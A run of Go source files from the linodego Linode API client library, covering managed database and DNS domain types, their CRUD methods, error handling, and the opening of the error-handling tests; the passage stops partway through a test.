DatabaseMaintenanceFrequency string DatabaseStatus string DatabasePlatform string DatabaseMemberType string ) const ( DatabaseMaintenanceDayMonday DatabaseDayOfWeek = iota + 1 DatabaseMaintenanceDayTuesday DatabaseMaintenanceDayWednesday DatabaseMaintenanceDayThursday DatabaseMaintenanceDayFriday DatabaseMaintenanceDaySaturday DatabaseMaintenanceDaySunday ) const ( DatabaseMaintenanceFrequencyWeekly DatabaseMaintenanceFrequency = "weekly" DatabaseMaintenanceFrequencyMonthly DatabaseMaintenanceFrequency = "monthly" ) const ( DatabaseEngineTypeMySQL DatabaseEngineType = "mysql" DatabaseEngineTypePostgres DatabaseEngineType = "postgresql" ) const ( DatabaseStatusProvisioning DatabaseStatus = "provisioning" DatabaseStatusActive DatabaseStatus = "active" DatabaseStatusDeleting DatabaseStatus = "deleting" DatabaseStatusDeleted DatabaseStatus = "deleted" DatabaseStatusSuspending DatabaseStatus = "suspending" DatabaseStatusSuspended DatabaseStatus = "suspended" DatabaseStatusResuming DatabaseStatus = "resuming" DatabaseStatusRestoring DatabaseStatus = "restoring" DatabaseStatusFailed DatabaseStatus = "failed" DatabaseStatusDegraded DatabaseStatus = "degraded" DatabaseStatusUpdating DatabaseStatus = "updating" DatabaseStatusBackingUp DatabaseStatus = "backing_up" ) const ( DatabasePlatformRDBMSLegacy DatabasePlatform = "rdbms-legacy" DatabasePlatformRDBMSDefault DatabasePlatform = "rdbms-default" ) const ( DatabaseMemberTypePrimary DatabaseMemberType = "primary" DatabaseMemberTypeFailover DatabaseMemberType = "failover" ) // A Database is a instance of Linode Managed Databases type Database struct { ID int `json:"id"` Status DatabaseStatus `json:"status"` Label string `json:"label"` Hosts DatabaseHost `json:"hosts"` Region string `json:"region"` Type string `json:"type"` Engine string `json:"engine"` Version string `json:"version"` ClusterSize int `json:"cluster_size"` Platform DatabasePlatform `json:"platform"` Fork *DatabaseFork `json:"fork"` Updates DatabaseMaintenanceWindow `json:"updates"` UsedDiskSizeGB int `json:"used_disk_size_gb"` TotalDiskSizeGB int `json:"total_disk_size_gb"` Port int `json:"port"` // Members has dynamic keys so it is a map Members map[string]DatabaseMemberType `json:"members"` // Deprecated: ReplicationType is a deprecated property, as it is no longer supported in DBaaS V2. ReplicationType string `json:"replication_type"` // Deprecated: SSLConnection is a deprecated property, as it is no longer supported in DBaaS V2. SSLConnection bool `json:"ssl_connection"` // Deprecated: Encrypted is a deprecated property, as it is no longer supported in DBaaS V2. Encrypted bool `json:"encrypted"` AllowList []string `json:"allow_list"` InstanceURI string `json:"instance_uri"` Created *time.Time `json:"-"` Updated *time.Time `json:"-"` OldestRestoreTime *time.Time `json:"-"` } // DatabaseHost for Primary/Secondary of Database type DatabaseHost struct { Primary string `json:"primary"` Secondary string `json:"secondary,omitempty"` } // DatabaseEngine is information about Engines supported by Linode Managed Databases type DatabaseEngine struct { ID string `json:"id"` Engine string `json:"engine"` Version string `json:"version"` } // DatabaseMaintenanceWindow stores information about a MySQL cluster's maintenance window type DatabaseMaintenanceWindow struct { DayOfWeek DatabaseDayOfWeek `json:"day_of_week"` Duration int `json:"duration"` Frequency DatabaseMaintenanceFrequency `json:"frequency"` HourOfDay int `json:"hour_of_day"` Pending []DatabaseMaintenanceWindowPending `json:"pending,omitempty"` // Deprecated: WeekOfMonth is a deprecated property, as it is no longer supported in DBaaS V2. WeekOfMonth *int `json:"week_of_month,omitempty"` } type DatabaseMaintenanceWindowPending struct { Deadline *time.Time `json:"-"` Description string `json:"description"` PlannedFor *time.Time `json:"-"` } // DatabaseType is information about the supported Database Types by Linode Managed Databases type DatabaseType struct { ID string `json:"id"` Label string `json:"label"` Class string `json:"class"` VirtualCPUs int `json:"vcpus"` Disk int `json:"disk"` Memory int `json:"memory"` Engines DatabaseTypeEngineMap `json:"engines"` Deprecated bool `json:"deprecated"` } // DatabaseTypeEngineMap stores a list of Database Engine types by engine type DatabaseTypeEngineMap struct { MySQL []DatabaseTypeEngine `json:"mysql"` PostgreSQL []DatabaseTypeEngine `json:"postgresql"` } // DatabaseTypeEngine Sizes and Prices type DatabaseTypeEngine struct { Quantity int `json:"quantity"` Price ClusterPrice `json:"price"` } // ClusterPrice for Hourly and Monthly price models type ClusterPrice struct { Hourly float32 `json:"hourly"` Monthly float32 `json:"monthly"` } // DatabaseFork describes the source and restore time for the fork for forked DBs type DatabaseFork struct { Source int `json:"source"` RestoreTime *time.Time `json:"-,omitempty"` } func (d *Database) UnmarshalJSON(b []byte) error { type Mask Database p := struct { *Mask Created *parseabletime.ParseableTime `json:"created"` Updated *parseabletime.ParseableTime `json:"updated"` OldestRestoreTime *parseabletime.ParseableTime `json:"oldest_restore_time"` }{ Mask: (*Mask)(d), } if err := json.Unmarshal(b, &p); err != nil { return err } d.Created = (*time.Time)(p.Created) d.Updated = (*time.Time)(p.Updated) d.OldestRestoreTime = (*time.Time)(p.OldestRestoreTime) return nil } func (d *DatabaseFork) UnmarshalJSON(b []byte) error { type Mask DatabaseFork p := struct { *Mask RestoreTime *parseabletime.ParseableTime `json:"restore_time"` }{ Mask: (*Mask)(d), } if err := json.Unmarshal(b, &p); err != nil { return err } d.RestoreTime = (*time.Time)(p.RestoreTime) return nil } func (d *DatabaseMaintenanceWindowPending) UnmarshalJSON(b []byte) error { type Mask DatabaseMaintenanceWindowPending p := struct { *Mask Deadline *parseabletime.ParseableTime `json:"deadline"` PlannedFor *parseabletime.ParseableTime `json:"planned_for"` }{ Mask: (*Mask)(d), } if err := json.Unmarshal(b, &p); err != nil { return err } d.Deadline = (*time.Time)(p.Deadline) d.PlannedFor = (*time.Time)(p.PlannedFor) return nil } // ListDatabases lists all Database instances in Linode Managed Databases for the account func (c *Client) ListDatabases(ctx context.Context, opts *ListOptions) ([]Database, error) { response, err := getPaginatedResults[Database](ctx, c, "databases/instances", opts) if err != nil { return nil, err } return response, nil } // ListDatabaseEngines lists all Database Engines. This endpoint is cached by default. func (c *Client) ListDatabaseEngines(ctx context.Context, opts *ListOptions) ([]DatabaseEngine, error) { response, err := getPaginatedResults[DatabaseEngine](ctx, c, "databases/engines", opts) if err != nil { return nil, err } return response, nil } // GetDatabaseEngine returns a specific Database Engine. This endpoint is cached by default. func (c *Client) GetDatabaseEngine(ctx context.Context, _ *ListOptions, engineID string) (*DatabaseEngine, error) { e := formatAPIPath("databases/engines/%s", engineID) response, err := doGETRequest[DatabaseEngine](ctx, c, e) if err != nil { return nil, err } return response, nil } // ListDatabaseTypes lists all Types of Database provided in Linode Managed Databases. This endpoint is cached by default. func (c *Client) ListDatabaseTypes(ctx context.Context, opts *ListOptions) ([]DatabaseType, error) { response, err := getPaginatedResults[DatabaseType](ctx, c, "databases/types", opts) if err != nil { return nil, err } return response, nil } // GetDatabaseType returns a specific Database Type. This endpoint is cached by default. func (c *Client) GetDatabaseType(ctx context.Context, _ *ListOptions, typeID string) (*DatabaseType, error) { e := formatAPIPath("databases/types/%s", typeID) response, err := doGETRequest[DatabaseType](ctx, c, e) if err != nil { return nil, err } return response, nil } golang-github-linode-linodego-1.47.0/domain_records.go000066400000000000000000000120451474652371000227320ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "time" "github.com/linode/linodego/internal/parseabletime" ) // DomainRecord represents a DomainRecord object type DomainRecord struct { ID int `json:"id"` Type DomainRecordType `json:"type"` Name string `json:"name"` Target string `json:"target"` Priority int `json:"priority"` Weight int `json:"weight"` Port int `json:"port"` Service *string `json:"service"` Protocol *string `json:"protocol"` TTLSec int `json:"ttl_sec"` Tag *string `json:"tag"` Created *time.Time `json:"-"` Updated *time.Time `json:"-"` } // DomainRecordCreateOptions fields are those accepted by CreateDomainRecord type DomainRecordCreateOptions struct { Type DomainRecordType `json:"type"` Name string `json:"name"` Target string `json:"target"` Priority *int `json:"priority,omitempty"` Weight *int `json:"weight,omitempty"` Port *int `json:"port,omitempty"` Service *string `json:"service,omitempty"` Protocol *string `json:"protocol,omitempty"` TTLSec int `json:"ttl_sec,omitempty"` // 0 is not accepted by Linode, so can be omitted Tag *string `json:"tag,omitempty"` } // DomainRecordUpdateOptions fields are those accepted by UpdateDomainRecord type DomainRecordUpdateOptions struct { Type DomainRecordType `json:"type,omitempty"` Name string `json:"name,omitempty"` Target string `json:"target,omitempty"` Priority *int `json:"priority,omitempty"` // 0 is valid, so omit only nil values Weight *int `json:"weight,omitempty"` // 0 is valid, so omit only nil values Port *int `json:"port,omitempty"` // 0 is valid to spec, so omit only nil values Service *string `json:"service,omitempty"` Protocol *string `json:"protocol,omitempty"` TTLSec int `json:"ttl_sec,omitempty"` // 0 is not accepted by Linode, so can be omitted Tag *string `json:"tag,omitempty"` } // DomainRecordType constants start with RecordType and include Linode API Domain Record Types type DomainRecordType string // DomainRecordType contants are the DNS record types a DomainRecord can assign const ( RecordTypeA DomainRecordType = "A" RecordTypeAAAA DomainRecordType = "AAAA" RecordTypeNS DomainRecordType = "NS" RecordTypeMX DomainRecordType = "MX" RecordTypeCNAME DomainRecordType = "CNAME" RecordTypeTXT DomainRecordType = "TXT" RecordTypeSRV DomainRecordType = "SRV" RecordTypePTR DomainRecordType = "PTR" RecordTypeCAA DomainRecordType = "CAA" ) // UnmarshalJSON for DomainRecord responses func (d *DomainRecord) UnmarshalJSON(b []byte) error { type Mask DomainRecord p := struct { *Mask Created *parseabletime.ParseableTime `json:"created"` Updated *parseabletime.ParseableTime `json:"updated"` }{ Mask: (*Mask)(d), } if err := json.Unmarshal(b, &p); err != nil { return err } d.Created = (*time.Time)(p.Created) d.Updated = (*time.Time)(p.Updated) return nil } // GetUpdateOptions converts a DomainRecord to DomainRecordUpdateOptions for use in UpdateDomainRecord func (d DomainRecord) GetUpdateOptions() (du DomainRecordUpdateOptions) { du.Type = d.Type du.Name = d.Name du.Target = d.Target du.Priority = copyInt(&d.Priority) du.Weight = copyInt(&d.Weight) du.Port = copyInt(&d.Port) du.Service = copyString(d.Service) du.Protocol = copyString(d.Protocol) du.TTLSec = d.TTLSec du.Tag = copyString(d.Tag) return } // ListDomainRecords lists DomainRecords func (c *Client) ListDomainRecords(ctx context.Context, domainID int, opts *ListOptions) ([]DomainRecord, error) { return getPaginatedResults[DomainRecord](ctx, c, formatAPIPath("domains/%d/records", domainID), opts) } // GetDomainRecord gets the domainrecord with the provided ID func (c *Client) GetDomainRecord(ctx context.Context, domainID int, recordID int) (*DomainRecord, error) { e := formatAPIPath("domains/%d/records/%d", domainID, recordID) return doGETRequest[DomainRecord](ctx, c, e) } // CreateDomainRecord creates a DomainRecord func (c *Client) CreateDomainRecord(ctx context.Context, domainID int, opts DomainRecordCreateOptions) (*DomainRecord, error) { e := formatAPIPath("domains/%d/records", domainID) return doPOSTRequest[DomainRecord](ctx, c, e, opts) } // UpdateDomainRecord updates the DomainRecord with the specified id func (c *Client) UpdateDomainRecord(ctx context.Context, domainID int, recordID int, opts DomainRecordUpdateOptions) (*DomainRecord, error) { e := formatAPIPath("domains/%d/records/%d", domainID, recordID) return doPUTRequest[DomainRecord](ctx, c, e, opts) } // DeleteDomainRecord deletes the DomainRecord with the specified id func (c *Client) DeleteDomainRecord(ctx context.Context, domainID int, recordID int) error { e := formatAPIPath("domains/%d/records/%d", domainID, recordID) return doDELETERequest(ctx, c, e) } golang-github-linode-linodego-1.47.0/domains.go000066400000000000000000000270451474652371000214020ustar00rootroot00000000000000package linodego import ( "context" ) // Domain represents a Domain object type Domain struct { // This Domain's unique ID ID int `json:"id"` // The domain this Domain represents. These must be unique in our system; you cannot have two Domains representing the same domain. Domain string `json:"domain"` // If this Domain represents the authoritative source of information for the domain it describes, or if it is a read-only copy of a master (also called a slave). Type DomainType `json:"type"` // Enum:"master" "slave" // Deprecated: The group this Domain belongs to. This is for display purposes only. Group string `json:"group"` // Used to control whether this Domain is currently being rendered. Status DomainStatus `json:"status"` // Enum:"disabled" "active" "edit_mode" "has_errors" // A description for this Domain. This is for display purposes only. Description string `json:"description"` // Start of Authority email address. This is required for master Domains. SOAEmail string `json:"soa_email"` // The interval, in seconds, at which a failed refresh should be retried. // Valid values are 300, 3600, 7200, 14400, 28800, 57600, 86400, 172800, 345600, 604800, 1209600, and 2419200 - any other value will be rounded to the nearest valid value. RetrySec int `json:"retry_sec"` // The IP addresses representing the master DNS for this Domain. MasterIPs []string `json:"master_ips"` // The list of IPs that may perform a zone transfer for this Domain. This is potentially dangerous, and should be set to an empty list unless you intend to use it. AXfrIPs []string `json:"axfr_ips"` // An array of tags applied to this object. Tags are for organizational purposes only. Tags []string `json:"tags"` // The amount of time in seconds that may pass before this Domain is no longer authoritative. Valid values are 300, 3600, 7200, 14400, 28800, 57600, 86400, 172800, 345600, 604800, 1209600, and 2419200 - any other value will be rounded to the nearest valid value. ExpireSec int `json:"expire_sec"` // The amount of time in seconds before this Domain should be refreshed. Valid values are 300, 3600, 7200, 14400, 28800, 57600, 86400, 172800, 345600, 604800, 1209600, and 2419200 - any other value will be rounded to the nearest valid value. RefreshSec int `json:"refresh_sec"` // "Time to Live" - the amount of time in seconds that this Domain's records may be cached by resolvers or other domain servers. Valid values are 300, 3600, 7200, 14400, 28800, 57600, 86400, 172800, 345600, 604800, 1209600, and 2419200 - any other value will be rounded to the nearest valid value. TTLSec int `json:"ttl_sec"` } // DomainZoneFile represents the Zone File of a Domain type DomainZoneFile struct { ZoneFile []string `json:"zone_file"` } // DomainCreateOptions fields are those accepted by CreateDomain type DomainCreateOptions struct { // The domain this Domain represents. These must be unique in our system; you cannot have two Domains representing the same domain. Domain string `json:"domain"` // If this Domain represents the authoritative source of information for the domain it describes, or if it is a read-only copy of a master (also called a slave). // Enum:"master" "slave" Type DomainType `json:"type"` // Deprecated: The group this Domain belongs to. This is for display purposes only. Group string `json:"group,omitempty"` // Used to control whether this Domain is currently being rendered. // Enum:"disabled" "active" "edit_mode" "has_errors" Status DomainStatus `json:"status,omitempty"` // A description for this Domain. This is for display purposes only. Description string `json:"description,omitempty"` // Start of Authority email address. This is required for master Domains. SOAEmail string `json:"soa_email,omitempty"` // The interval, in seconds, at which a failed refresh should be retried. // Valid values are 300, 3600, 7200, 14400, 28800, 57600, 86400, 172800, 345600, 604800, 1209600, and 2419200 - any other value will be rounded to the nearest valid value. RetrySec int `json:"retry_sec,omitempty"` // The IP addresses representing the master DNS for this Domain. MasterIPs []string `json:"master_ips"` // The list of IPs that may perform a zone transfer for this Domain. This is potentially dangerous, and should be set to an empty list unless you intend to use it. AXfrIPs []string `json:"axfr_ips"` // An array of tags applied to this object. Tags are for organizational purposes only. Tags []string `json:"tags"` // The amount of time in seconds that may pass before this Domain is no longer authoritative. Valid values are 300, 3600, 7200, 14400, 28800, 57600, 86400, 172800, 345600, 604800, 1209600, and 2419200 - any other value will be rounded to the nearest valid value. ExpireSec int `json:"expire_sec,omitempty"` // The amount of time in seconds before this Domain should be refreshed. Valid values are 300, 3600, 7200, 14400, 28800, 57600, 86400, 172800, 345600, 604800, 1209600, and 2419200 - any other value will be rounded to the nearest valid value. RefreshSec int `json:"refresh_sec,omitempty"` // "Time to Live" - the amount of time in seconds that this Domain's records may be cached by resolvers or other domain servers. Valid values are 300, 3600, 7200, 14400, 28800, 57600, 86400, 172800, 345600, 604800, 1209600, and 2419200 - any other value will be rounded to the nearest valid value. TTLSec int `json:"ttl_sec,omitempty"` } // DomainUpdateOptions converts a Domain to DomainUpdateOptions for use in UpdateDomain type DomainUpdateOptions struct { // The domain this Domain represents. These must be unique in our system; you cannot have two Domains representing the same domain. Domain string `json:"domain,omitempty"` // If this Domain represents the authoritative source of information for the domain it describes, or if it is a read-only copy of a master (also called a slave). // Enum:"master" "slave" Type DomainType `json:"type,omitempty"` // Deprecated: The group this Domain belongs to. This is for display purposes only. Group string `json:"group,omitempty"` // Used to control whether this Domain is currently being rendered. // Enum:"disabled" "active" "edit_mode" "has_errors" Status DomainStatus `json:"status,omitempty"` // A description for this Domain. This is for display purposes only. Description string `json:"description,omitempty"` // Start of Authority email address. This is required for master Domains. SOAEmail string `json:"soa_email,omitempty"` // The interval, in seconds, at which a failed refresh should be retried. // Valid values are 300, 3600, 7200, 14400, 28800, 57600, 86400, 172800, 345600, 604800, 1209600, and 2419200 - any other value will be rounded to the nearest valid value. RetrySec int `json:"retry_sec,omitempty"` // The IP addresses representing the master DNS for this Domain. MasterIPs []string `json:"master_ips"` // The list of IPs that may perform a zone transfer for this Domain. This is potentially dangerous, and should be set to an empty list unless you intend to use it. AXfrIPs []string `json:"axfr_ips"` // An array of tags applied to this object. Tags are for organizational purposes only. Tags []string `json:"tags"` // The amount of time in seconds that may pass before this Domain is no longer authoritative. Valid values are 300, 3600, 7200, 14400, 28800, 57600, 86400, 172800, 345600, 604800, 1209600, and 2419200 - any other value will be rounded to the nearest valid value. ExpireSec int `json:"expire_sec,omitempty"` // The amount of time in seconds before this Domain should be refreshed. Valid values are 300, 3600, 7200, 14400, 28800, 57600, 86400, 172800, 345600, 604800, 1209600, and 2419200 - any other value will be rounded to the nearest valid value. RefreshSec int `json:"refresh_sec,omitempty"` // "Time to Live" - the amount of time in seconds that this Domain's records may be cached by resolvers or other domain servers. Valid values are 300, 3600, 7200, 14400, 28800, 57600, 86400, 172800, 345600, 604800, 1209600, and 2419200 - any other value will be rounded to the nearest valid value. TTLSec int `json:"ttl_sec,omitempty"` } // DomainType constants start with DomainType and include Linode API Domain Type values type DomainType string // DomainType constants reflect the DNS zone type of a Domain const ( DomainTypeMaster DomainType = "master" DomainTypeSlave DomainType = "slave" ) // DomainStatus constants start with DomainStatus and include Linode API Domain Status values type DomainStatus string // DomainStatus constants reflect the current status of a Domain const ( DomainStatusDisabled DomainStatus = "disabled" DomainStatusActive DomainStatus = "active" DomainStatusEditMode DomainStatus = "edit_mode" DomainStatusHasErrors DomainStatus = "has_errors" ) type DomainCloneOptions struct { Domain string `json:"domain"` } type DomainImportOptions struct { Domain string `json:"domain"` RemoteNameserver string `json:"remove_nameserver"` } // GetUpdateOptions converts a Domain to DomainUpdateOptions for use in UpdateDomain func (d Domain) GetUpdateOptions() (du DomainUpdateOptions) { du.Domain = d.Domain du.Type = d.Type du.Group = d.Group du.Status = d.Status du.Description = d.Description du.SOAEmail = d.SOAEmail du.RetrySec = d.RetrySec du.MasterIPs = d.MasterIPs du.AXfrIPs = d.AXfrIPs du.Tags = d.Tags du.ExpireSec = d.ExpireSec du.RefreshSec = d.RefreshSec du.TTLSec = d.TTLSec return } // ListDomains lists Domains func (c *Client) ListDomains(ctx context.Context, opts *ListOptions) ([]Domain, error) { response, err := getPaginatedResults[Domain](ctx, c, "domains", opts) if err != nil { return nil, err } return response, nil } // GetDomain gets the domain with the provided ID func (c *Client) GetDomain(ctx context.Context, domainID int) (*Domain, error) { e := formatAPIPath("domains/%d", domainID) response, err := doGETRequest[Domain](ctx, c, e) if err != nil { return nil, err } return response, nil } // CreateDomain creates a Domain func (c *Client) CreateDomain(ctx context.Context, opts DomainCreateOptions) (*Domain, error) { e := "domains" response, err := doPOSTRequest[Domain](ctx, c, e, opts) if err != nil { return nil, err } return response, nil } // UpdateDomain updates the Domain with the specified id func (c *Client) UpdateDomain(ctx context.Context, domainID int, opts DomainUpdateOptions) (*Domain, error) { e := formatAPIPath("domains/%d", domainID) response, err := doPUTRequest[Domain](ctx, c, e, opts) if err != nil { return nil, err } return response, nil } // DeleteDomain deletes the Domain with the specified id func (c *Client) DeleteDomain(ctx context.Context, domainID int) error { e := formatAPIPath("domains/%d", domainID) err := doDELETERequest(ctx, c, e) return err } // GetDomainZoneFile gets the zone file for the last rendered zone for the specified domain. func (c *Client) GetDomainZoneFile(ctx context.Context, domainID int) (*DomainZoneFile, error) { e := formatAPIPath("domains/%d/zone-file", domainID) response, err := doGETRequest[DomainZoneFile](ctx, c, e) if err != nil { return nil, err } return response, nil } // CloneDomain clones a Domain and all associated DNS records from a Domain that is registered in Linode's DNS manager. func (c *Client) CloneDomain(ctx context.Context, domainID int, opts DomainCloneOptions) (*Domain, error) { e := formatAPIPath("domains/%d/clone", domainID) return doPOSTRequest[Domain](ctx, c, e, opts) } // ImportDomain imports a domain zone from a remote nameserver. func (c *Client) ImportDomain(ctx context.Context, opts DomainImportOptions) (*Domain, error) { e := "domains/import" return doPOSTRequest[Domain](ctx, c, e, opts) } golang-github-linode-linodego-1.47.0/e2e_scripts/000077500000000000000000000000001474652371000216335ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/env.sample000066400000000000000000000000351474652371000214020ustar00rootroot00000000000000LINODE_TOKEN= LINODE_DEBUG=0 golang-github-linode-linodego-1.47.0/errors.go000066400000000000000000000143601474652371000212600ustar00rootroot00000000000000package linodego import ( "encoding/json" "errors" "fmt" "io" "net/http" "reflect" "strings" "github.com/go-resty/resty/v2" ) const ( ErrorUnsupported = iota // ErrorFromString is the Code identifying Errors created by string types ErrorFromString // ErrorFromError is the Code identifying Errors created by error types ErrorFromError // ErrorFromStringer is the Code identifying Errors created by fmt.Stringer types ErrorFromStringer ) // Error wraps the LinodeGo error with the relevant http.Response type Error struct { Response *http.Response Code int Message string } // APIErrorReason is an individual invalid request message returned by the Linode API type APIErrorReason struct { Reason string `json:"reason"` Field string `json:"field"` } func (r APIErrorReason) Error() string { if len(r.Field) == 0 { return r.Reason } return fmt.Sprintf("[%s] %s", r.Field, r.Reason) } // APIError is the error-set returned by the Linode API when presented with an invalid request type APIError struct { Errors []APIErrorReason `json:"errors"` } // String returns the error reason in a formatted string func (r APIErrorReason) String() string { return fmt.Sprintf("[%s] %s", r.Field, r.Reason) } func coupleAPIErrors(r *resty.Response, err error) (*resty.Response, error) { if err != nil { // an error was raised in go code, no need to check the resty Response return nil, NewError(err) } if r.Error() == nil { // no error in the resty Response return r, nil } // handle the resty Response errors // Check that response is of the correct content-type before unmarshalling expectedContentType := r.Request.Header.Get("Accept") responseContentType := r.Header().Get("Content-Type") // If the upstream Linode API server being fronted fails to respond to the request, // the http server will respond with a default "Bad Gateway" page with Content-Type // "text/html". if r.StatusCode() == http.StatusBadGateway && responseContentType == "text/html" { //nolint:goconst return nil, Error{Code: http.StatusBadGateway, Message: http.StatusText(http.StatusBadGateway)} } if responseContentType != expectedContentType { msg := fmt.Sprintf( "Unexpected Content-Type: Expected: %v, Received: %v\nResponse body: %s", expectedContentType, responseContentType, string(r.Body()), ) return nil, Error{Code: r.StatusCode(), Message: msg} } apiError, ok := r.Error().(*APIError) if !ok || (ok && len(apiError.Errors) == 0) { return r, nil } return nil, NewError(r) } //nolint:unused func coupleAPIErrorsHTTP(resp *http.Response, err error) (*http.Response, error) { if err != nil { // an error was raised in go code, no need to check the http.Response return nil, NewError(err) } if resp == nil || resp.StatusCode < 200 || resp.StatusCode >= 300 { // Check that response is of the correct content-type before unmarshalling expectedContentType := resp.Request.Header.Get("Accept") responseContentType := resp.Header.Get("Content-Type") // If the upstream server fails to respond to the request, // the http server will respond with a default error page with Content-Type "text/html". if resp.StatusCode == http.StatusBadGateway && responseContentType == "text/html" { //nolint:goconst return nil, Error{Code: http.StatusBadGateway, Message: http.StatusText(http.StatusBadGateway)} } if responseContentType != expectedContentType { bodyBytes, _ := io.ReadAll(resp.Body) msg := fmt.Sprintf( "Unexpected Content-Type: Expected: %v, Received: %v\nResponse body: %s", expectedContentType, responseContentType, string(bodyBytes), ) return nil, Error{Code: resp.StatusCode, Message: msg} } var apiError APIError if err := json.NewDecoder(resp.Body).Decode(&apiError); err != nil { return nil, NewError(fmt.Errorf("failed to decode response body: %w", err)) } if len(apiError.Errors) == 0 { return resp, nil } return nil, Error{Code: resp.StatusCode, Message: apiError.Errors[0].String()} } // no error in the http.Response return resp, nil } func (e APIError) Error() string { x := []string{} for _, msg := range e.Errors { x = append(x, msg.Error()) } return strings.Join(x, "; ") } func (err Error) Error() string { return fmt.Sprintf("[%03d] %s", err.Code, err.Message) } func (err Error) StatusCode() int { return err.Code } func (err Error) Is(target error) bool { if x, ok := target.(interface{ StatusCode() int }); ok || errors.As(target, &x) { return err.StatusCode() == x.StatusCode() } return false } // NewError creates a linodego.Error with a Code identifying the source err type, // - ErrorFromString (1) from a string // - ErrorFromError (2) for an error // - ErrorFromStringer (3) for a Stringer // - HTTP Status Codes (100-600) for a resty.Response object func NewError(err any) *Error { if err == nil { return nil } switch e := err.(type) { case *Error: return e case *resty.Response: apiError, ok := e.Error().(*APIError) if !ok { return &Error{Code: ErrorUnsupported, Message: "Unexpected Resty Error Response, no error"} } return &Error{ Code: e.RawResponse.StatusCode, Message: apiError.Error(), Response: e.RawResponse, } case error: return &Error{Code: ErrorFromError, Message: e.Error()} case string: return &Error{Code: ErrorFromString, Message: e} case fmt.Stringer: return &Error{Code: ErrorFromStringer, Message: e.String()} default: return &Error{Code: ErrorUnsupported, Message: fmt.Sprintf("Unsupported type to linodego.NewError: %s", reflect.TypeOf(e))} } } // IsNotFound indicates if err indicates a 404 Not Found error from the Linode API. func IsNotFound(err error) bool { return ErrHasStatus(err, http.StatusNotFound) } // ErrHasStatus checks if err is an error from the Linode API, and whether it contains the given HTTP status code. // More than one status code may be given. // If len(code) == 0, err is nil or is not a [Error], ErrHasStatus will return false. func ErrHasStatus(err error, code ...int) bool { if err == nil { return false } // Short-circuit if the caller did not provide any status codes. if len(code) == 0 { return false } var e *Error if !errors.As(err, &e) { return false } ec := e.StatusCode() for _, c := range code { if ec == c { return true } } return false } golang-github-linode-linodego-1.47.0/errors_test.go000066400000000000000000000336521474652371000223240ustar00rootroot00000000000000package linodego import ( "bytes" "context" "encoding/json" "errors" "fmt" "io" "net/http" "net/http/httptest" "testing" "github.com/go-resty/resty/v2" "github.com/google/go-cmp/cmp" ) type testStringer string func (t testStringer) String() string { return string(t) } type testError string func (e testError) Error() string { return string(e) } func restyError(reason, field string) *resty.Response { var reasons []APIErrorReason // allow for an empty reasons if reason != "" && field != "" { reasons = append(reasons, APIErrorReason{ Reason: reason, Field: field, }) } return &resty.Response{ RawResponse: &http.Response{ StatusCode: 500, }, Request: &resty.Request{ Error: &APIError{ Errors: reasons, }, }, } } func TestNewError(t *testing.T) { if NewError(nil) != nil { t.Errorf("nil error should return nil") } if NewError(struct{}{}).Code != ErrorUnsupported { t.Error("empty struct should return unsupported error type") } err := errors.New("test") newErr := NewError(err) if newErr.Message != err.Error() && newErr.Code != ErrorFromError { t.Error("error should return ErrorFromError") } if newErr.Error() != "[002] test" { t.Error("Error should support Error() formatter with code") } if NewError(newErr) != newErr { t.Error("Error should be itself") } if err := NewError(&resty.Response{Request: &resty.Request{}}); err.Message != "Unexpected Resty Error Response, no error" { t.Error("Unexpected Resty Error Response, no error") } if err := NewError(restyError("testreason", "testfield")); err.Message != "[testfield] testreason" { t.Error("rest response error should should be set") } if err := NewError("stringerror"); err.Message != "stringerror" || err.Code != ErrorFromString { t.Errorf("string error should be set") } if err := NewError(testStringer("teststringer")); err.Message != "teststringer" || err.Code != ErrorFromStringer { t.Errorf("error should be set for a stringer interface") } if err := NewError(testError("testerror")); err.Message != "testerror" || err.Code != ErrorFromError { t.Errorf("error should be set for an error interface") } } func createTestServer(method, route, contentType, body string, statusCode int) (*httptest.Server, *Client) { h := http.HandlerFunc(func(rw http.ResponseWriter, r *http.Request) { if r.Method == method && r.URL.Path == route { rw.Header().Add("Content-Type", contentType) rw.WriteHeader(statusCode) rw.Write([]byte(body)) return } rw.WriteHeader(http.StatusNotImplemented) }) ts := httptest.NewServer(h) client := NewClient(nil) client.SetBaseURL(ts.URL) return ts, &client } func TestCoupleAPIErrors(t *testing.T) { t.Run("not nil error generates error", func(t *testing.T) { err := errors.New("test") if _, err := coupleAPIErrors(nil, err); !cmp.Equal(err, NewError(err)) { t.Errorf("expect a not nil error to be returned as an Error") } }) t.Run("resty 500 response error with reasons", func(t *testing.T) { if _, err := coupleAPIErrors(restyError("testreason", "testfield"), nil); err.Error() != "[500] [testfield] testreason" { t.Error("resty error should return with proper format [code] [field] reason") } }) t.Run("resty 500 response error without reasons", func(t *testing.T) { if _, err := coupleAPIErrors(restyError("", ""), nil); err != nil { t.Error("resty error with no reasons should return no error") } }) t.Run("resty response with nil error", func(t *testing.T) { emptyErr := &resty.Response{ RawResponse: &http.Response{ StatusCode: 500, }, Request: &resty.Request{ Error: nil, }, } if _, err := coupleAPIErrors(emptyErr, nil); err != nil { t.Error("resty error with no reasons should return no error") } }) t.Run("generic html error", func(t *testing.T) { rawResponse := ` 500 Internal Server Error

500 Internal Server Error


nginx
` route := "/v4/linode/instances/123" ts, client := createTestServer(http.MethodGet, route, "text/html", rawResponse, http.StatusInternalServerError) // client.SetDebug(true) defer ts.Close() expectedError := Error{ Code: http.StatusInternalServerError, Message: "Unexpected Content-Type: Expected: application/json, Received: text/html\nResponse body: " + rawResponse, } _, err := coupleAPIErrors(client.R(context.Background()).SetResult(&Instance{}).Get(ts.URL + route)) if diff := cmp.Diff(expectedError, err); diff != "" { t.Errorf("expected error to match but got diff:\n%s", diff) } }) t.Run("bad gateway error", func(t *testing.T) { rawResponse := []byte(` 502 Bad Gateway

502 Bad Gateway


nginx
